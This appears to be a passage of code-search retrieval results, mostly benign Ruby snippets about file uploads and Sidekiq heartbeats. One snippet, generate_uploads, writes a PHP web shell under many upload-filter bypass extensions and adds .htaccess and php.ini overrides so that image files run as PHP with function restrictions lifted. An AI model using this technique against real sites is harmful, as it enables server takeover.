"docid": "4e58bfe7c9dc5d50ba446e7d7e56ef06",
"score": "0.5836171",
"text": "def upload(file, context)\n uploader.upload(file, context)\n end",
"title": ""
},
{
"docid": "4e58bfe7c9dc5d50ba446e7d7e56ef06",
"score": "0.5836171",
"text": "def upload(file, context)\n uploader.upload(file, context)\n end",
"title": ""
},
{
"docid": "66493358360bf01615bc12c6b85a765e",
"score": "0.5829556",
"text": "def create_uploader\n empty_directory(\"app/uploaders\")\n empty_directory(\"app/uploaders/multipart\")\n template \"uploader.rb\", \"app/uploaders/multipart/#{model}_uploader.rb\"\n end",
"title": ""
},
{
"docid": "20d75ffd2b858cd6b71f4d5bd7e0538c",
"score": "0.58289504",
"text": "def upload\n begin\n apicaller =ApiCaller.new(@hostOutput,\"\",@user,@pass)\n restPath = @pathOutput\n \n ##uplaoding fasta tarred files\n path = restPath +\"/file/MicrobiomeData/#{CGI.escape(@sampleSetNameOriginal)}/fasta.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/fasta.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded fasta.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##uplaoding stats tarred files \n path = restPath +\"/file/MicrobiomeData/#{CGI.escape(@sampleSetNameOriginal)}/stats.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/stats.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded stats.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##Uploading filtered fasta files \n path = restPath +\"/file/MicrobiomeData/#{CGI.escape(@sampleSetNameOriginal)}/filtered_fasta.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/filtered_fasta.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded filtered_fasta.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##Uploading fastq files \n path = restPath +\"/file/MicrobiomeData/#{CGI.escape(@sampleSetNameOriginal)}/fastq.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/fastq.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded fastq.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end \n \n #uploading metadata file back\n path = restPath + \"/file/MicrobiomeData/#{CGI.escape(@sampleSetNameOriginal)}/sample.metadata/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/#{@sampleSetName}.metadata\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded metadata file \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##uploading json setting file\n path = restPath + \"/file/MicrobiomeData/#{CGI.escape(@sampleSetNameOriginal)}/settings.json/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@scratch}/jobFile.json\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded jsonfile file \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n end\n \n end",
"title": ""
},
{
"docid": "c0a65a78147fc69fecc153a41742aed9",
"score": "0.5826308",
"text": "def upload(uploadable)\n primary.upload(uploadable)\n end",
"title": ""
},
{
"docid": "700b65a9ad9e2b823bb0be7e4c921e0f",
"score": "0.5824314",
"text": "def uploader_test_image\n Archangel::Engine.root + \"lib/archangel/testing_support/fixtures/image.gif\"\nend",
"title": ""
},
{
"docid": "366ae08ad927c0c995d6a0d6ff99b21f",
"score": "0.5816483",
"text": "def upload!(*)\n upload_uri_base = \"http://rise.sh:8080/api/v1/#{@uuid}\"\n access_uri = \"https://rise.sh/#{@uuid}\"\n uri = ''\n\n # This sorts the files by (file path) length.\n # It is supposed to make the server make the first layer of files\n # before the rest of the layers.\n ordered_files = files.sort_by(&:length)\n ordered_files.each do |f|\n isdir = File.directory?(f)\n final_path = File.absolute_path(f).gsub(\n File.expand_path(folder_path), '')\n uri = URI.parse(\"#{upload_uri_base}/#{final_path}?dir=#{isdir}\")\n begin\n HTTP.put(uri.to_s, body: File.read(f))\n rescue Errno::EISDIR\n HTTP.put(uri.to_s, body: '')\n next\n end\n end\n access_uri\n end",
"title": ""
},
{
"docid": "69b9041a322dfa3cffde74a7ce4fb2d2",
"score": "0.58158207",
"text": "def upload\n puts params[:file].inspect\n #FileUtils.mv params[:file][:tempfile].path, MERB_ROOT+\"/uploads/#{params[:file][:filename]}\"\n FileUtils.mv params[:file][:tempfile].path, Merb.root/'public/uploads'/params[:file][:filename]\n redirect url(:basefiles)\n end",
"title": ""
},
{
"docid": "ad3a0aa31947207338e65bbf001827a4",
"score": "0.58132434",
"text": "def receive_uploads\n trace :info, \"UPLOAD\"\n resp = send_command(PROTO_UPLOAD)\n\n # decode the response\n command, tot, left, size = resp.unpack('I4')\n \n if command == PROTO_OK then\n filename = resp[12, resp.length].unpascalize\n bytes = resp[16 + size, resp.length].unpack('I')\n trace :info, \"UPLOAD -- [#{filename}] #{bytes} bytes\"\n \n # recurse the request if there are other files to request\n receive_uploads if left != 0\n else\n trace :info, \"UPLOAD -- No uploads for me\"\n end\n end",
"title": ""
},
{
"docid": "e41ab708a8847760cbfad1c0f4a536dc",
"score": "0.5805643",
"text": "def upload(filename, class_name, options={})\n name = options[:name] || class_name\n# puts \"Uploading #{class_name}\"\n# check whether it should upload again\n tmp = Dir.tmpdir()\n md5file = \"simple_worker_#{class_name.gsub(\"::\", \".\")}_#{access_key[0, 8]}.md5\"\n existing_md5 = nil\n f = File.join(tmp, md5file)\n if File.exists?(f)\n existing_md5 = IO.read(f)\n end\n# Check for code changes.\n md5 = Digest::MD5.hexdigest(File.read(filename))\n new_code = false\n if md5 != existing_md5\n SimpleWorker.logger.info \"Uploading #{class_name}, code modified.\"\n File.open(f, 'w') { |f| f.write(md5) }\n new_code = true\n # todo: delete md5 file if error occurs during upload process\n else\n# puts \"#{class_name}: same code, not uploading\"\n return\n end\n\n zip_filename = build_merged_file(filename, options[:merge], options[:unmerge], options[:merged_gems], options[:merged_mailers], options[:merged_folders])\n SimpleWorker.logger.info 'file size to upload: ' + File.size(zip_filename).to_s\n\n if new_code\n options = {\n \"class_name\"=>class_name,\n \"name\"=>name,\n \"file_name\"=> \"runner.rb\" # File.basename(filename)\n }\n #puts 'options for upload=' + options.inspect\n SimpleWorker.logger.info \"Uploading now...\"\n ret = post_file(\"code/put\", File.new(zip_filename), options)\n SimpleWorker.logger.info \"Done uploading.\"\n ret\n end\n end",
"title": ""
},
{
"docid": "31420b4ac21fd99f7ee792594cc3a665",
"score": "0.58040875",
"text": "def distribute!\n\t upload(filename, remote_filename)\n\t run \"cd #{configuration[:releases_path]} && #{decompress(remote_filename).join(\" \")} && rm #{remote_filename}\"\n\t end",
"title": ""
},
{
"docid": "843047b10c9f73557ecb14c20411ce29",
"score": "0.58038104",
"text": "def upload(moss_server, to_upload, id = 0, option = { is_file: true })\n\t\tif option[:is_file]\n\t\t\tfilename = to_upload.strip.encode('UTF-8', invalid: :replace, undef: :replace, replace: '').gsub /[^\\w\\-\\/.]/, '_'\n\t\t\tcontent = IO.read(to_upload)\n\t\telse\n\t\t\t# Moss server need a file name, so when isn't a file that is been uploaded\n\t\t\t# (and so haven't a name), a random name is generated.\n\t\t\tfilename = (0...15).map { ('a'..'z').to_a[rand(26)] }.join\n\t\t\tcontent = to_upload\n\t\tend\n\n\t\tsize = content.size\n\n\t\tif size > 0\n\t\t\tmoss_server.write \"file #{id} #{@options[:language]} #{size} #{filename}\\n\"\n\t\t\tmoss_server.write content\n\t\tend\n\tend",
"title": ""
},
{
"docid": "a0558728c99078b0537aa7c0dcb55897",
"score": "0.5801306",
"text": "def uploader_process \n\t# Get parameters\n\tsubmitter_name = params[:submitter_name]\n\tdata_file = params[:data_file]\n\t\n\t# Upload\n\tSong.upload_file( submitter_name, data_file, session[:playlist_address] )\n\t\n\t# Redirect\n\tredirect_to :action => \"uploader_complete\"\n end",
"title": ""
},
{
"docid": "b8574435a9ceffb1049f94fd41981462",
"score": "0.5800546",
"text": "def upload_file(&block)\n request :upload_file, &block\n end",
"title": ""
},
{
"docid": "39f7b402551e181d5100492d3810fe21",
"score": "0.5800184",
"text": "def upload\n started = Time.now\n ['english_audio', 'english_video',\n 'bengali_audio','bengali_video'].each do | content |\n self.send content\n end\n dur = (Time.now - started).to_i # .strftime '%H:%M:%S'\n puts \" Finished in #{dur} seconds\"\n end",
"title": ""
},
{
"docid": "3eac4e8dcae422eef3607a1de918b485",
"score": "0.5794438",
"text": "def generate_uploads(shell, flip='gif')\n Dir.mkdir(EVIL) unless File.exists?(EVIL) and File.directory?(EVIL)\n Dir.mkdir(UP) unless File.exists?(UP) and File.directory?(UP)\n php = [ 'php', 'pHp', 'php4', 'php5', 'phtml' ]\n options = [ 'gif', 'jpeg', 'mp3', 'pdf', 'png', 'txt' ]\n shell_name = shell.split('/')[-1]\n # Read provided Shell into Var\n data = File.open(shell).read\n # Generate our Shell Possibilities for Uploading\n php.each do |x|\n a = shell_name.sub(shell.split('/')[-1].split('.')[-1], x)\n f = File.open(UP + a, 'w+')\n f.puts data\n f.close\n end\n options.each do |y|\n # Simple Concatenation of Filetypes: .php.jpeg\n b = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '.' + y)\n f = File.open(UP + b, 'w+')\n f.puts data\n f.close\n if y =~ /GIF|JPEG|PNG/i\n # Simple Concatenation of Filetypes (reversed order for evil images): .jpeg.php\n c = shell_name.sub(shell.split('/')[-1].split('.')[-1], y + '.' + shell.split('/')[-1].split('.')[-1])\n f = File.open(UP + c, 'w+')\n f.puts data\n f.close\n end\n # Another Concatenation of Filetypes in hopes it drops the trailing type: .php;jpeg\n d = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + ';.' + y)\n f = File.open(UP + d, 'w+')\n f.puts data\n f.close\n # Null Byte to drop the trailing filetype\n e = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '%00.' + y)\n f = File.open(UP + e, 'w+')\n f.puts data\n f.close\n end\n # Bogus separator, unknown extension causes it to fallback to PHP\n g = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '.xxxfoo')\n f = File.open(UP + g, 'w+')\n f.puts data\n f.close\n\n # Create .htaccess file for flipping filetype to php\n f = File.open(UP + '.htaccess', 'w+')\n f.puts \"AddType application/x-httpd-php .#{flip}\"\n f.close\n\n # PHP_INI Overrides\n f = File.open(UP + 'php.ini', 'w+')\n f.puts 'disable_functions = none'\n f.puts 'magic_quotes_gpc = off'\n f.puts 'safe_mode = off'\n f.puts 'suhosin.executor.func.blacklist = foofucked'\n f.close\nend",
"title": ""
},
{
"docid": "886f3647b0751e6c1324e6c9aa9593bc",
"score": "0.5791164",
"text": "def upload\r\n UploadController.instance\r\n end",
"title": ""
},
{
"docid": "b64dbeedd5db00768e3b7fee6b9c12ee",
"score": "0.5788537",
"text": "def upload_example_file_2(dirname)\n file_location = Rails.root.to_s + \"/public/swift_test.html\"\n upload_file file_location, \"swift_test.html\", dirname\n end",
"title": ""
},
{
"docid": "1b2cb4daacd2707f4f6c5041c5064548",
"score": "0.5784702",
"text": "def uploadFile(key = \"\")\n key = 0 < key.length ? key : self.dispatched.fileName\n self.bucket.put(key, self.string)\n self.clear\n end",
"title": ""
},
{
"docid": "b511dc3ce99508845aa105c3d765435e",
"score": "0.5781842",
"text": "def upload\n #create a destination directory\n FileUtils.mkdir_p(@destination) unless File.exist?(@destination)\n #and put the file in the destionation (one by one)\n FileUtils.mv params[:file].path,\n @destination + params[:Filename].sub(/[^\\w\\.\\-]/,'_')\n return render :nothing => true\n end",
"title": ""
},
{
"docid": "dd38ec2b448fc01e27a276005273287f",
"score": "0.5765886",
"text": "def upload_floor_plan(args = {}) \n post(\"/files.json/floorplan/images\", args)\nend",
"title": ""
},
{
"docid": "8cfa820e3ba7bb4b248d4d282f7241d0",
"score": "0.57623714",
"text": "def upload_file\n name = params[:media][:payload].original_filename\n filename = params[:filename]\n folderId = params[:folder_id]\n directory = \"/tmp/\"\n path = File.join(directory, name)\n File.open(path, \"wb\") { |f| f.write(params[:media][:payload].read) }\n serverPath = '@' + path;\n content_type = params[:media][:payload].content_type\n\n if(content_type == 'image/png' || content_type == 'image/gif' || content_type == 'image/jpg' || content_type == 'image/jpeg')\n type = 'image'\n elsif (content_type == \"application/force-download\" || content_type == 'application/pdf' || content_type == 'application/vnd.ms-excel' || content_type == 'application/vnd.ms-excel' || content_type == 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' || content_type == 'application/msword' || content_type == 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' || content_type == 'text/plain')\n type = 'document'\n elsif (content_type == 'audio/mpeg' || content_type == 'audio/x-mpeg' || content_type == 'audio/mp3' || content_type == 'audio/x-mp3' || content_type == 'audio/mpeg3' || content_type == 'audio/x-mpeg3' || content_type == 'audio/mpg' || content_type == 'audio/x-mpg' || content_type == 'audio/x-mpegaudio')\n type = 'audio'\n elsif (content_type == 'video/x-flv' || content_type == 'video/x-flv' || content_type == 'video/MP2T' || content_type == 'video/3gpp' || content_type == 'video/quicktime' || content_type == ' video/x-msvideo' || content_type == 'video/x-ms-wmv' || content_type == 'video/mpeg')\n type = 'video'\n end\n apiURL = RequestStore.store[:api_url] + '/media' #http://api.convo.code10.ca/api/v1/media/\n curlRes = `curl -X POST -F\"medium[payload]=#{serverPath};type=#{content_type}\" -F\"type=#{type}\" -F\"medium[name]=#{filename}\" -F\"medium[parent_id]=#{folderId}\" -H \"Authorization: Token token=\"#{@token}\", email=\"#{@email}\", app_key=\"#{@appKey}\"\" \"#{apiURL}\" -v`;\n #abort(curlRes.inspect)\n message = ''\n if curlRes.nil? || curlRes.blank?\n message = 'File is not uploaded'\n else\n curlRes = JSON.parse(curlRes);\n if curlRes['payload_content_type'] != nil and curlRes['payload_content_type'][0] == \"is Fnvalid\"\n message = 'File is not uploaded'\n else\n message = 'File is uploaded'\n File.delete(path)\n end\n end\n flash[:notice] = message\n redirect_to \"/media\"\n end",
"title": ""
}
] |
0b1c3553085e6269642583c6a8d1ec10 | Sets up the heartbeat to be broadcast via sidekiq. Only enable this when you have disabled the resque heart beat schedule as well, as having both may cause issues. While this will work so long as every time sidekiq boots it triggers this set up. You may consider enabling dynamic schedules to keep all nodes up to date if it ever changes. | [
{
"docid": "b8a9c9f61c04d1dd78c3606c2bd5ac08",
"score": "0.7695329",
"text": "def setup_heartbeat!(queue_name)\n require 'sidekiq-scheduler'\n\n ::Sidekiq.configure_server do |config|\n config.on(:startup) { set_schedule(queue_name) }\n end\n end",
"title": ""
}
] | [
{
"docid": "6a3d1e0aefac63881d8611aa734af99e",
"score": "0.65309536",
"text": "def start_heartbeat\n # once successfully registered send out periodic heartbeat on the bus letting the registry know that you are still alive\n\n end",
"title": ""
},
{
"docid": "142b97a9ef06c60d7321bf5d0c89dc21",
"score": "0.6400232",
"text": "def send_heartbeat\n send_message DCell::Message::Heartbeat.new\n @heartbeat = after(self.class.heartbeat_rate) { send_heartbeat }\n end",
"title": ""
},
{
"docid": "193e455519b66206f6699e947132880e",
"score": "0.62058014",
"text": "def perform\n Sidekiq.redis do |redis|\n Sidekiq::Queue.all.each do |q|\n queue_config = Sidekiq::HeartbeatMonitor.config(q)\n next if queue_config.nil?\n \n check_queue_size!(q, queue_config)\n\n key = \"Sidekiq:HeartbeatMonitor:Worker-#{q.name}.enqueued_at\"\n\n last_enqueued_at = redis.get(key).to_i\n\n if last_enqueued_at > 577997505 # Enqueued after Jan 2, 2020 when this code was written\n time_since_enqueued = Time.now.to_i - last_enqueued_at\n if (time_since_enqueued - TIME_BETWEEN_HEARTBEATS) > queue_config.max_heartbeat_delay\n queue_config.send_slowed_down_alert!(\"⚠️ _#{q.name}_ queue is taking longer than #{format_time_str(time_since_enqueued)} to reach jobs.\", q)\n else\n next\n end\n end\n\n redis.set(key, Time.now.to_i, ex: 1.week)\n\n Sidekiq::HeartbeatMonitor::Worker.client_push(\n 'class' => Sidekiq::HeartbeatMonitor::Worker, \n 'args' => [q.name], \n 'queue' => q.name\n )\n end\n\n end\n end",
"title": ""
},
{
"docid": "469e15fedaefa3e6d7267e114d16f556",
"score": "0.6153077",
"text": "def update_heartbeat\n if @heartbeat_updated_at.nil? || elapsed(@heartbeat_updated_at) >= HEARTBEAT_FREQUENCY\n queue.record_worker_heartbeat\n @heartbeat_updated_at = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n end\n end",
"title": ""
},
{
"docid": "5f6f3eefb8cec724d8f5f44e1cba5470",
"score": "0.60818285",
"text": "def sidekiq_setup\n Sidekiq.configure_server do |config|\n config.server_middleware do |chain|\n chain.add SidekiqPrometheus::JobMetrics\n end\n\n if periodic_metrics_enabled?\n config.on(:startup) { SidekiqPrometheus::PeriodicMetrics.reporter(config).start }\n config.on(:shutdown) { SidekiqPrometheus::PeriodicMetrics.reporter(config).stop }\n end\n\n if metrics_server_enabled?\n config.on(:startup) { SidekiqPrometheus.metrics_server }\n config.on(:shutdown) { SidekiqPrometheus.metrics_server.kill }\n end\n end\n end",
"title": ""
},
{
"docid": "ec45b68f19386e8a033d3dd13d44688f",
"score": "0.5973252",
"text": "def run\n unless @heartbeat_type == :none\n super\n end\n end",
"title": ""
},
{
"docid": "7acd3d86199e70b0f9b394694ae7a253",
"score": "0.59316325",
"text": "def start_heartbeat_if_needed\n return if @heartbeat_freq == 0\n return if @heartbeat_thread\n @heartbeat_thread = Thread.new do\n while true do\n heartbeat_command\n end\n end\n end",
"title": ""
},
{
"docid": "fcd25e214260ca6a39b6bcb62ebdee97",
"score": "0.58703035",
"text": "def send_heartbeat\n if tcp_connection_established? && !@handling_skipped_hearbeats && @last_server_heartbeat\n if @last_server_heartbeat < (Time.now - (self.heartbeat_interval * 2)) && !reconnecting?\n logger.error \"[amqp] Detected missing server heartbeats\"\n self.handle_skipped_hearbeats\n end\n send_frame(Protocol::HeartbeatFrame)\n end\n end",
"title": ""
},
{
"docid": "a9d0d230bb05ac16855a059ded555826",
"score": "0.58397484",
"text": "def send_heartbeat\n send(MDP::MDPW_HEARTBEAT)\n end",
"title": ""
},
{
"docid": "6b0dac197cf89076343b1d91b11be044",
"score": "0.5834338",
"text": "def start_heartbeat(frequency = HEARTBEAT_FREQUENCY)\n require \"eventmachine\"\n \n EM.next_tick do\n EM::PeriodicTimer.new(frequency) do\n Bountybase.metrics.heartbeat!\n end\n end\n end",
"title": ""
},
{
"docid": "e5996b25091ecbd826714a3f2cdd83fe",
"score": "0.581011",
"text": "def heartbeat\n @heartbeats = @heartbeats.to_i + 1\n RR.heartbeat(options[:heartbeat_file]) if @heartbeats % 10_000 == 0\n end",
"title": ""
},
{
"docid": "a41c76b782af478c5001778b8c547f42",
"score": "0.58066565",
"text": "def send_hearbeat\n # we do not have sucess\n update({ :status => :succeeded }, 1, false, true)\n Log.debug \"Heartbeat has been sent to '#{Config.outbox_queue}' for instance '#{Arbiter::PBUILDER_ID}' ...\"\n end",
"title": ""
},
{
"docid": "112edeef34abe4ff25008deb179892f4",
"score": "0.57883686",
"text": "def do_heartbeat_work\n end",
"title": ""
},
{
"docid": "4965cbe21f00039ea4b716e74f62ddec",
"score": "0.57392114",
"text": "def heartbeats_enabled?\n @heartbeat_interval && (@heartbeat_interval > 0)\n end",
"title": ""
},
{
"docid": "0dc18dc0422f96fa0d825b1b6fcf2b50",
"score": "0.5726647",
"text": "def start_beating\n Donaghy.storage.add_to_set('donaghy_hosts', Donaghy.hostname)\n logger.info(\"adding #{path_to_beat} to donaghy_#{Donaghy.hostname} and starting to beat configuration\")\n Donaghy.storage.add_to_set(\"donaghy_#{Donaghy.hostname}\", path_to_beat)\n beat\n end",
"title": ""
},
{
"docid": "a9aa553f2c2f0945e2f6081c4a2d3140",
"score": "0.57252735",
"text": "def restart\n\t\tself.stop_heartbeat\n\t\tsuper\n\t\tself.start_heartbeat\n\tend",
"title": ""
},
{
"docid": "626e9920784de5603fa799380a5c5075",
"score": "0.56763405",
"text": "def send_heartbeat\n return if DCell.id == id\n send_message DCell::Message::Heartbeat.new id\n @heartbeat = after(@heartbeat_rate) { send_heartbeat }\n end",
"title": ""
},
{
"docid": "2aef808cedc22c0cb2b46fc59c11a3a5",
"score": "0.5664858",
"text": "def heartbeat_send_thread\n begin\n while true\n if Time.now >= @next_send_by\n Log.debug \"heartbeat_send_thread: announcing ourself to the world\"\n send_message([ 'NOOP' ])\n end\n\n sleep_for = @next_send_by - Time.now\n if sleep_for > 0\n Log.debug \"heartbeat_send_thread: sleeping #{sleep_for} seconds\"\n sleep sleep_for\n end\n end\n rescue Exception => e\n Log.error \"heartbeat_send_thread: #{e}\"\n retry\n end\n end",
"title": ""
},
{
"docid": "18c678245da7f7d2f96929108a9ce693",
"score": "0.562895",
"text": "def heartbeat=(heartbeat)\n @options[:heartbeat] = heartbeat\n end",
"title": ""
},
{
"docid": "9db2b4891000f4443bfbd879d56db60c",
"score": "0.5624162",
"text": "def heartbeat_start\n @heart = Thread.new do\n Logging.ndc.clear\n Logging.ndc.push('heartbeat-thread')\n while true\n notify_change('test_alive')\n sleep(@config_manager['test.heartbeat.frequency'])\n end\n Logging.ndc.pop\n end\n end",
"title": ""
},
{
"docid": "ba6b3daf4c63082f14517194785cdbb0",
"score": "0.5598119",
"text": "def send_heartbeat\n return if DCell.id == @id\n request = DCell::Message::Heartbeat.new @id\n send_message request, @leech ? :response : :request\n @heartbeat = after(@heartbeat_rate) { send_heartbeat }\n end",
"title": ""
},
{
"docid": "0f02a26be7727f42b5ac1831ff832f78",
"score": "0.5580503",
"text": "def setup!\n Sidekiq.configure_server do |config|\n config.on(:startup) { start_listener }\n config.on(:quiet) { stop_listener }\n end\n end",
"title": ""
},
{
"docid": "153d8f543ea81b412944ee9d5e852968",
"score": "0.5538592",
"text": "def send_heartbeat(test_req_id = nil)\n msg = FP::Messages::Heartbeat.new\n test_req_id && msg.test_req_id = test_req_id\n send_msg(msg)\n end",
"title": ""
},
{
"docid": "a6b1d361d9661d5108dd69c3a66fafd0",
"score": "0.5516266",
"text": "def heartbeat_interval\n super\n end",
"title": ""
},
{
"docid": "620c93a434f837dc6b66a07c650dcf84",
"score": "0.5493856",
"text": "def heartbeat_frequency\n @heartbeat_frequency ||= options[:heartbeat_frequency] || HEARTBEAT_FREQUENCY\n end",
"title": ""
},
{
"docid": "47649f631c0a6c64f39a87bc04365046",
"score": "0.5470206",
"text": "def heartbeat_interval\n options[:heartbeat_frequency] || Server::Monitor::DEFAULT_HEARTBEAT_INTERVAL\n end",
"title": ""
},
{
"docid": "1329b170356dab6c440f825515564096",
"score": "0.5449157",
"text": "def sendHeartbeat()\n send!(:HB, -1, -1, -1, -1)\n end",
"title": ""
},
{
"docid": "1208920eb7db4ae7d1d445541b358a9a",
"score": "0.54343784",
"text": "def start_heart_beat\n if threading?\n Thread.abort_on_exception = true\n @heart_beat ||= Thread.new &run_loop\n else\n run_loop.call\n end\n end",
"title": ""
},
{
"docid": "1208920eb7db4ae7d1d445541b358a9a",
"score": "0.54343784",
"text": "def start_heart_beat\n if threading?\n Thread.abort_on_exception = true\n @heart_beat ||= Thread.new &run_loop\n else\n run_loop.call\n end\n end",
"title": ""
},
{
"docid": "d5bee0c5e4ac7fd871683a2441e6ee71",
"score": "0.5434334",
"text": "def start_heartbeat\n\t\tself.log.info \"Starting heartbeat thread.\"\n\t\t@heartbeat = Thread.new do\n\t\t\tThread.current.abort_on_exception = true\n\t\t\tself.log.debug \" Heartbeat thread started: %p\" % [ Thread.current ]\n\n\t\t\t# Use a thread-local variable to signal the thread to shut down\n\t\t\tThread.current[ :shutdown ] = false\n\t\t\tuntil Thread.current[ :shutdown ]\n\n\t\t\t\t# If there are active connections, remove any that have\n\t\t\t\t# timed out and ping the rest\n\t\t\t\tunless self.connections.empty?\n\t\t\t\t\tself.cull_idle_sockets\n\t\t\t\t\tself.ping_all_sockets\n\t\t\t\tend\n\n\t\t\t\tself.log.debug \" heartbeat thread sleeping\"\n\t\t\t\tsleep( HEARTBEAT_RATE )\n\t\t\t\tself.log.debug \" heartbeat thread waking up\"\n\t\t\tend\n\n\t\t\tself.log.info \"Hearbeat thread exiting.\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "4a12fc51fc04d315d2ba1a723ea8bfb5",
"score": "0.54174614",
"text": "def perform\n start_heart_beat\n self\n end",
"title": ""
},
{
"docid": "1188da7536365a9eabcaf0507d7552de",
"score": "0.5414915",
"text": "def configure_heartbeating client_beats, broker_beats\n c_x, c_y = client_beats\n s_x, s_y = broker_beats\n @heartbeating = [ (c_x == 0||s_y == 0 ? 0 : [c_x,s_y].max), \n (c_y == 0||s_x == 0 ? 0 : [c_y,s_x].max) ]\n end",
"title": ""
},
{
"docid": "3fdc6febc04249107c92c16ac139204d",
"score": "0.5408688",
"text": "def initialize(server)\n queue_prefix = config['prefix'] || ''\n @server = server\n @thread = Thread.new do\n if defined?(java.lang.Thread)\n java.lang.Thread.current_thread.name = 'Heartbeat'\n end\n \n loop do\n with_queue(\"#{queue_prefix}heartbeat\") do |heartbeat_queue|\n logger.debug \"Send heartbeat\"\n message = {\n 'host_info' => host_info,\n 'timestamp' => Time.now.utc,\n 'running_daemons' => @server.daemons.length\n }\n heartbeat_queue.send_message(Base64.encode64(message.to_json))\n sleep(60)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "dbaacaa6de6f76fd8a994c143a1735a5",
"score": "0.5395074",
"text": "def sendHeartbeat()\n if NodeAgent.instance.connected?\n send!(:HB, -1, -1, -1, -1)\n else\n # haven't heard from nodeHandler yet, resend initial message\n sendWHOAMI\n end\n end",
"title": ""
},
{
"docid": "6ff15f0274893bc425d6a51eb466e128",
"score": "0.53592753",
"text": "def test_heartbeat_uses_heartbeat_delay\n set_env 'HEARTBEAT_DELAY', '0'\n Arduino.up?.must_equal false\n lambda { Arduino.heartbeat }.must_output /heartbeat/,''\n Arduino.up?.must_equal false\n end",
"title": ""
},
{
"docid": "85943ee8a2478433da7cd7567a08845b",
"score": "0.53480417",
"text": "def setup_schedule\n if disabled || frequency.blank? || transfer_mode != 'scheduled' || !persisted? || !dynamic_model_ready?\n RecurringPullTask.unschedule_task self\n self.status = Statuses[:stopped_manually]\n else\n RecurringPullTask.schedule_task self,\n { project_admin: to_global_id.to_s,\n class_name: dynamic_storage.dynamic_model_class_name },\n run_every: FieldDefaults.duration(frequency)\n\n self.status = Statuses[:schedule_run_set_configured]\n end\n end",
"title": ""
},
{
"docid": "9c027ca1819110ef60ee4e60ed07b680",
"score": "0.53179",
"text": "def setup_keepalives\n @logger.debug(\"scheduling keepalives\")\n publish_keepalive\n @timers[:run] << EM::PeriodicTimer.new(20) do\n publish_keepalive\n end\n end",
"title": ""
},
{
"docid": "af90d313b109cb66c51aa4118cc79a0e",
"score": "0.53062093",
"text": "def set_heartbeat_interval(opts)\n opts = check_params(opts,[:intervals])\n super(opts)\n end",
"title": ""
},
{
"docid": "f71295ff3186190912e913ebe29be140",
"score": "0.5294886",
"text": "def set_heartbeat\n @heartbeat = Heartbeat.find(params[:id])\n end",
"title": ""
},
{
"docid": "f71295ff3186190912e913ebe29be140",
"score": "0.5294886",
"text": "def set_heartbeat\n @heartbeat = Heartbeat.find(params[:id])\n end",
"title": ""
},
{
"docid": "03b4db0125edc8f63250f9677abec3db",
"score": "0.52892363",
"text": "def sendHeartbeat()\n send!(0, :HB, -1, -1, -1, -1)\n end",
"title": ""
},
{
"docid": "bca6cfdcc67faf43aa8da8085bfc9578",
"score": "0.5261713",
"text": "def schedule_for(worker)\n schedules[worker] ||= Sidetiq::Schedule.new(START_TIME)\n end",
"title": ""
},
{
"docid": "accbaf65b2e481245d95ae7694a39396",
"score": "0.52465606",
